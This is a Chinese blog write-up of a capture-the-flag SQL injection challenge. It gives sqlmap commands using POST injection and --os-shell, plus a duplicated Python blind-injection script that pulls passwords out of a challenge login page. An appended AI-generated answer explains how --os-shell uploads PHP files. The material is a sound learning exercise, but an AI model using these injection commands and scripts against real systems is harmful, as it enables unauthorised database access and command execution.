5、sqlmap注入post类型+os-shell

题目:青少年:Easy_SQLi

1、打开网页,是一个登入表单

2、判断注入类型,是一个字符注入,使用or直接绕过密码进去了

3、上bp抓取数据包,sqlmmap用post注入走一遍,找到数据库,账号密码,这里的账号密码其实也没什么用,形同虚设

sqlmap注入payload:

python sqlmap.py -r "C:\Users\bixin\Desktop\dictionary\post.txt" -p uname --dbs

-r:表示指定注入的post文件路径

-p:表示注入点参数,uname

--dbs:当前服务器中的所以数据库

4、老规矩,数据表、字段挨个走一遍,但没有什么发现

5、试一下shell注入,一试一个准,直接进去了,查看一下根目录发现flag

D:\Python3.8.6\SQLmap>python sqlmap.py -r "C:\Users\bixin\Desktop\dictionary\post.txt" -p uname --os-shell

-r

-r:表示目标为一个文件,bp抓的包

-p:表示一个参数,即一个注入的口

-os-shell:进行shell注入

6、成功进入shell,查看根目录文件,发现flag

7、成功获取flag

补充:

在网上看到另外一种wp

使用的是脚本跑,没看懂,留着以后看,如下:

①:这个脚本速度快

import requests
import time
url = "http://challenge.qsnctf.com:31029/login.php"  #这里放的是url,登入状态的url
flag = ""
for num in range(1,100):
    for i in range(33,127) :
        data = {'uname':"' or 1=1 and  ascii(substr((select group_concat(password) from information_schema.columns where table_schema=database()),{0},1))={1}#".format(num,i),'psw':'1'}
        res = requests.post(url = url, data = data)
        time.sleep(0.05)
        if res.text == "Login successful" :
            flag += chr(i)
            break
print(flag)

②这个脚本速度慢

import requests
import time
url = "http://challenge.qsnctf.com:31029/login.php"  #这里放的是url,登入状态的url
flag = ""
for num in range(1,100):
    for i in range(33,127) :
        data = {'uname':"' or 1=1 and  ascii(substr((select group_concat(password) from information_schema.columns where table_schema=database()),{0},1))={1}#".format(num,i),'psw':'1'}
        res = requests.post(url = url, data = data)
        time.sleep(0.05)
        if res.text == "Login successful" :
            flag += chr(i)
            break
print(flag)

总结:

1、先测试是否存在sql注入,有无回显

2、出现登入表单,第一时间采用post注入

3、发现数据库没有机会的情况,换os-shell注入

  • 9
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
sqlmap是一款用于自动化SQL注入和数据库接管的工具。使用--os-shell参数可以在受攻击的目标上执行操作系统命令。首先,用户需要具备dba权限才能使用--os-shell参数\[1\]。然后,可以通过以下命令来攻击目标并获取操作系统shell: ``` sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-shell ``` 在使用--os-shell参数之前,需要确保Mysql数据库的secure_file_priv参数允许导入导出操作\[2\]。如果secure_file_priv参数的值为null,表示不允许导入导出操作,需要管理员修改该参数的值。在Mysql 5.7版本以上,默认情况下secure_file_priv参数的值为null,因此需要管理员修改该参数的值才能使用--os-shell参数\[2\]。 使用--os-shell参数的原理是通过使用into outfile函数上传两个php文件,一个用于上传文件,另一个用于执行系统命令并返回结果\[3\]。这样就可以在目标系统上执行操作系统命令。 请注意,使用sqlmap进行攻击是非法的,仅用于安全测试和研究目的。 #### 引用[.reference_title] - *1* *2* *3* [sqlmap —— os-shell参数分析](https://blog.csdn.net/qq_43531669/article/details/120630864)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值